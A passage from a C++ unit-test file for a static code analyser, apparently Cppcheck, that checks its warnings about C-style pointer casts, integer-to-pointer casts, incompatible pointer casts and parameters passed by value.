X() : Base((SomeType*)var) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType;\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)0) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5560\n checkOldStylePointerCast(\"class C;\\n\"\n \"\\n\"\n \"class B\\n\"\n \"{ virtual G* createGui(S*, C*) const = 0; };\\n\"\n \"\\n\"\n \"class MS : public M\\n\"\n \"{ virtual void addController(C*) override {} };\", Standards::CPP03);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6164\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void testCC() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back((Base*)new Derived);\\n\"\n \"}\");\n // FIXME write a dangerousTypeCast warning instead\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #7709\n checkOldStylePointerCast(\"typedef struct S S;\\n\"\n \"typedef struct S SS;\\n\"\n \"typedef class C C;\\n\"\n \"typedef long LONG;\\n\"\n \"typedef long* LONGP;\\n\"\n \"struct T {};\\n\"\n \"typedef struct T TT;\\n\"\n \"typedef struct T2 {} TT2;\\n\"\n \"void f(int* i) {\\n\"\n \" S* s = (S*)i;\\n\"\n \" SS* ss = (SS*)i;\\n\"\n \" struct S2* s2 = (struct S2*)i;\\n\"\n \" C* c = (C*)i;\\n\"\n \" class C2* c2 = (class C2*)i;\\n\"\n \" long* l = (long*)i;\\n\"\n \" LONG* l2 = (LONG*)i;\\n\"\n \" LONGP l3 = (LONGP)i;\\n\"\n \" TT* tt = (TT*)i;\\n\"\n \" TT2* tt2 = (TT2*)i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:11:14]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:12:21]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:13:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:14:20]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:15:15]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:16:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:17:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:18:14]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:19:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\",\n errout_str());\n\n // #8649\n checkOldStylePointerCast(\"struct S {};\\n\"\n \"void g(S*& s);\\n\"\n \"void f(uintptr_t i) {\\n\"\n \" g((S*&)i);\\n\"\n \" S*& r = (S*&)i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:5:13]: (style) C-style pointer casting [cstyleCast]\\n\",\n errout_str());\n\n checkOldStylePointerCast(\"struct S {};\\n\"\n \"void g(S*& s);\\n\"\n \"void f(uint8_t i) {\\n\"\n \" g((S*&)i);\\n\"\n \" S*& r = (S*&)i;\\n\"\n \"}\\n\");\n // TODO: these conversions are dangerous, but it's a different issue not covered by cstyleCast. A separate checker can be added which is executed for both C and C++ code.\n // clang says: 1.cpp:5:18: warning: cast to 'unsigned char *' from smaller integer type 'uint8_t' (aka 'unsigned char') [-Wint-to-pointer-cast]\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:5:13]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #10823\n checkOldStylePointerCast(\"void f(void* p) {\\n\"\n \" auto h = reinterpret_cast(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5210\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void f(Base** b1, Base*** b2) {\\n\"\n \" Derived** p1 = (Derived**)b1;\\n\"\n \" Derived*** p2 = (Derived***)b2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:5:21]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\",\n errout_str());\n\n // #12446\n checkOldStylePointerCast(\"namespace N { struct S {}; }\\n\"\n \"union U {\\n\"\n \" int i;\\n\"\n \" char c[4];\\n\"\n \"};\\n\"\n \"void f(void* p) {\\n\"\n \" auto ps = (N::S*)p;\\n\"\n \" auto pu = (union U*)p;\\n\"\n \" auto pv = (std::vector*)(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:15]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:8:15]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:9:15]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #12447\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void f(const Base& base) {\\n\"\n \" d = (const Derived&)base;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n // #11430\n checkOldStylePointerCast(\"struct B {\\n\"\n \" float* data() const;\\n\"\n \"};\\n\"\n \"namespace N {\\n\"\n \" bool f(float* v);\\n\"\n \"}\\n\"\n \"bool g(B& b) {\\n\"\n \" using float_ptr = float*;\\n\"\n \" return N::f(float_ptr(b.data()));\\n\" // <- the cast is safe\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:17]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n }\n\n#define checkIntToPointerCast(...) checkIntToPointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkIntToPointerCast_(const char* file, int line, const char (&code)[size]) {\n\n const Settings settings = settingsBuilder().severity(Severity::portability).build();\n\n // Tokenize..\n SimpleTokenizer tokenizerCpp(settings, *this);\n ASSERT_LOC(tokenizerCpp.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizerCpp, &settings, this);\n checkOtherCpp.warningIntToPointerCast();\n }\n\n void intToPointerCast() {\n // #3630\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)7;\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (portability) Casting non-zero decimal integer literal to pointer. [intToPointerCast]\\n\", errout_str());\n\n checkIntToPointerCast(\"void* ptr = (void*)7;\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (portability) Casting non-zero decimal integer literal to pointer. [intToPointerCast]\\n\", errout_str());\n\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)0x7000;\"); // <- it's common in embedded code to cast address\n ASSERT_EQUALS(\"\", errout_str());\n\n checkIntToPointerCast(\"struct S { int i; };\\n\" // #13886, don't crash\n \"int f() { return sizeof(((struct S*)0)->i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkInvalidPointerCast(...) checkInvalidPointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInvalidPointerCast_(const char* file, int line, const char (&code)[size], bool portability = true, bool inconclusive = false) {\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::portability, portability).certainty(Certainty::inconclusive, inconclusive).build();\n settings.platform.defaultSign = 's';\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizer, &settings, this);\n checkOtherCpp.invalidPointerCast();\n }\n\n\n void invalidPointerCast() {\n checkInvalidPointerCast(\"void test() {\\n\"\n \" float *f = new float[10];\\n\"\n \" delete [] (double*)f;\\n\"\n \" delete [] (long double const*)(new float[10]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (portability) Casting between float * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:4:15]: (portability) Casting between float * and const long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(const float* f) {\\n\"\n \" double *d = (double*)f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (portability) Casting between const float * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(double* d1) {\\n\"\n \" long double *ld = (long double*)d1;\\n\"\n \" double *d2 = (double*)ld;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (portability) Casting between double * and long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:3:18]: (portability) Casting between long double * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"char* test(int* i) {\\n\"\n \" long double *d = (long double*)(i);\\n\"\n \" double *d = (double*)(i);\\n\"\n \" float *f = reinterpret_cast(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (portability) Casting between signed int * and long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:3:17]: (portability) Casting between signed int * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:4:16]: (portability) Casting between signed int * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"float* test(unsigned int* i) {\\n\"\n \" return (float*)i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (portability) Casting between unsigned int * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"float* test(unsigned int* i) {\\n\"\n \" return (float*)i[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"float* test(double& d) {\\n\"\n \" return (float*)&d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (portability) Casting between double * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(float* data) {\\n\"\n \" f.write((char*)data,sizeof(float));\\n\"\n \"}\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"void test(float* data) {\\n\"\n \" f.write((char*)data,sizeof(float));\\n\"\n \"}\", true, true); // #3639\n ASSERT_EQUALS(\"[test.cpp:2:13]: (portability, inconclusive) Casting from float * to signed char * is not portable due to different binary data representations on different platforms. [invalidPointerCast]\\n\", errout_str());\n\n\n checkInvalidPointerCast(\"long long* test(float* f) {\\n\"\n \" return (long long*)f;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"long long* test(float* f, char* c) {\\n\"\n \" foo((long long*)f);\\n\"\n \" return reinterpret_cast(c);\\n\"\n \"}\", true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (portability) Casting from float * to signed long long * is not portable due to different binary data representations on different platforms. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"Q_DECLARE_METATYPE(int*)\"); // #4135 - don't crash\n }\n\n\n void passedByValue() {\n check(\"void f(const std::string str) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::unique_ptr ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::shared_ptr ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::function ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n check(\"void f(const std::pair x) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::pair x) {}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n check(\"void f(const std::string::size_type x) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo;\\nvoid f(const Foo foo) {}\"); // Unknown class\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance, inconclusive) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { std::vector v; };\\nvoid f(const Foo foo) {}\"); // Large class (STL member)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { int i; };\\nvoid f(const Foo foo) {}\"); // Small class\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo { int i[6]; };\\nvoid f(const Foo foo) {}\"); // Large class (array)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { std::string* s; };\\nvoid f(const Foo foo) {}\"); // Small class (pointer)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo { static std::string s; };\\nvoid f(const Foo foo) {}\"); // Small class (static member)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X { std::string s; }; class Foo : X { };\\nvoid f(const Foo foo) {}\"); // Large class (inherited)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X { std::string s; }; class Foo { X x; };\\nvoid f(const Foo foo) {}\"); // Large class (inherited)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::string &str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // The idiomatic way of passing a std::string_view is by value\n check(\"void f(const std::string_view str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string_view str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string_view &str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:31]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::vector v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:39]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::vector::size_type s) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector &v) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::map &v) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:48]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::streamoff pos) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::initializer_list i) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5824\n check(\"void log(const std::string& file, int line, const std::string& function, const std::string str, ...) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5534\n check(\"struct float3 { };\\n\"\n \"typedef float3 vec;\\n\"\n \"class Plane {\\n\"\n \" vec Refract(vec &vec) const;\\n\"\n \" bool IntersectLinePlane(const vec &planeNormal);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" virtual void func(const std::string str) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:41]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"enum X;\\n\"\n \"void foo(X x1){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X { a, b, c };\\n\"\n \"void foo(X x2){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X { a, b, c };\\n\"\n \"enum X;\"\n \"void foo(X x3){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X;\\n\"\n \"enum X { a, b, c };\"\n \"void foo(X x4){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"union U {\\n\"\n \" char* pc;\\n\"\n \" short* ps;\\n\"\n \" int* pi;\\n\"\n \"};\\n\"\n \"void f(U u) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { char A[8][8]; };\\n\"\n \"void f(S s) {}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"union U {\\n\" // don't crash\n \" int a;\\n\"\n \" decltype(nullptr) b;\\n\"\n \"};\\n\"\n \"int* f(U u) { return u.b; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual int f(std::string s) = 0; };\\n\" // #11432\n \"struct D1 : B {\\n\"\n \" int f(std::string s) override { s += 'a'; return s.size(); }\\n\"\n \"}\\n\"\n \"struct D2 : B {\\n\"\n \" int f(std::string s) override { return s.size(); }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x(int);\\n\"\n \"void f(std::vector v, int& j) {\\n\"\n \" for (int i : v)\\n\"\n \" j = i;\\n\"\n \"}\\n\"\n \"void fn(std::vector v) {\\n\"\n \" for (int& i : v)\\n\"\n \" i = x(i);\\n\"\n \"}\\n\"\n \"void g(std::vector v, int& j) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" j = v[i];\\n\"\n \"}\\n\"\n \"void gn(std::vector v) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" v[i] = x(i);\\n\"\n \"}\\n\"\n \"void h(std::vector> v, int& j) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" j = v[i][0];\\n\"\n \"}\\n\"\n \"void hn(std::vector> v) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" v[i][0] = x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:10:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:18:38]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11995\n \" explicit S(std::string s) noexcept;\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"S::S(std::string s) noexcept : m(std::move(s)) {}\\n\"\n \"struct T {\\n\"\n \" explicit S(std::string s) noexcept(true);\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"T::T(std::string s) noexcept(true) : m(std::move(s)) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\" // #12086\n \" void g(int);\\n\"\n \"}\\n\"\n \"void f(std::vector v) {\\n\"\n \" N::g(v[0]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::string& s, std::string t) {\\n\" // #12083\n \" const std::string& v = !s.empty() ? s : t;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:42]: (performance) Function parameter 't' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n /*const*/ Settings settings0 = settingsBuilder(_settings).platform(Platform::Type::Unix64).build();\n check(\"struct S {\\n\" // #12138\n \" union {\\n\"\n \" int a = 0;\\n\"\n \" int x;\\n\"\n \" };\\n\"\n \" union {\\n\"\n \" int b = 0;\\n\"\n \" int y;\\n\"\n \" };\\n\"\n \" union {\\n\"\n \" int c = 0;\\n\"\n \" int z;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void f(S s) {\\n\"\n \" if (s.x > s.y) {}\\n\"\n \"}\\n\", /*cpp*/ true, /*inconclusive*/ true, /*runSimpleChecks*/ true, /*verbose*/ false, &settings0);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::list l; };\\n\" // #12147\n \"class C { public: std::list l; };\\n\"\n \"bool f(S s) {\\n\"\n \" return s.l.empty();\\n\"\n \"}\\n\"\n \"bool f(C c) {\\n\"\n \" return c.l.empty();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:6:10]: (performance) Function parameter 'c' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S { std::list a[1][1]; };\\n\"\n \"bool f(S s) {\\n\"\n \" return s.a[0][0].empty();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" enum class E : std::uint8_t { E0 };\\n\"\n \" static void f(S::E e) {\\n\"\n \" if (e == S::E::E0) {}\\n\"\n \" }\\n\"\n \" char a[20];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector v[2]);\\n\" // #13052\n \"void g(const std::vector v[2]);\\n\"\n \"void g(const std::vector v[2]) {}\\n\"\n \"int h(const std::array, 2> a) { return a[0][0]; }\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:45]: (performance) Function parameter 'a' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::array a[]) {}\\n\"); // #13524\n ASSERT_EQUALS(\"\", errout_str());\n\n /*const*/ Settings settings1 = settingsBuilder().platform(Platform::Type::Win64).build();\n check(\"using ui64 = unsigned __int64;\\n\"\n \"ui64 Test(ui64 one, ui64 two) { return one + two; }\\n\",\n /*cpp*/ true, /*inconclusive*/ true, /*runSimpleChecks*/ true, /*verbose*/ false, &settings1);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void passedByValue_nonConst() {\n check(\"void f(std::string str) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" return str + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::cout << str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::cin >> str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::string s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::string& s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:2:18]: (style) Variable 's2' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" const std::string& s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" str = \\\"\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" foo(str);\\n\" // It could be that foo takes str as non-const-reference\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const std::string& str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void foo(std::string str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void foo(std::string& str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::string* str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(&str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int& i1, const std::string& str, int& i2);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo((a+b)*c, str, x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"std::string f(std::string str) {\\n\"\n \" str += x;\\n\"\n \" return str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" std::string s;\\n\"\n \" void func() const;\\n\"\n \"};\\n\"\n \"Y f(X x) {\\n\"\n \" x.func();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" void func();\\n\"\n \"};\\n\"\n \"Y f(X x) {\\n\"\n \" x.func();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" void func(std::string str) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:27]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" virtual void func(std::string str) {}\\n\" // Do not warn about virtual functions, if 'str' is not declared as const\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" char a[1024];\\n\"\n \"};\\n\"\n \"class Y : X {\\n\"\n \" char b;\\n\"\n \"};\\n\"\n \"void f(Y y) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (performance) Function parameter 'y' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" void* a;\\n\"\n \" void* b;\\n\"\n \"};\\n\"\n \"class Y {\\n\"\n \" void* a;\\n\"\n \" void* b;\\n\"\n \" char c;\\n\"\n \"};\\n\"\n \"void f(X x, Y y) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:15]: (performance) Function parameter 'y' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n {\n // 8-byte data should be passed by const reference on 32-bit platform but not on 64-bit platform\n const char code[] = \"class X {\\n\"\n \" uint64_t a;\\n\"\n \" uint64_t b;\\n\"\n \"};\\n\"\n \"void f(X x) {}\";\n\n /*const*/ Settings s32 = settingsBuilder(_settings).platform(Platform::Type::Unix32).build();\n check(code, &s32);\n ASSERT_EQUALS(\"[test.cpp:5:10]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n /*const*/ Settings s64 = settingsBuilder(_settings).platform(Platform::Type::Unix64).build();\n check(code, &s64);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"Writer* getWriter();\\n\"\n \"\\n\"\n \"void foo(Buffer& buffer) {\\n\"\n \" getWriter()->operator<<(buffer);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void passedByValue_externC() {\n check(\"struct X { int a[5]; }; void f(X v) { }\");\n ASSERT_EQUALS(\"[test.cpp:1:34]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"extern \\\"C\\\" { struct X { int a[5]; }; void f(X v) { } }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; extern \\\"C\\\" void f(X v) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; void f(const X v);\");\n 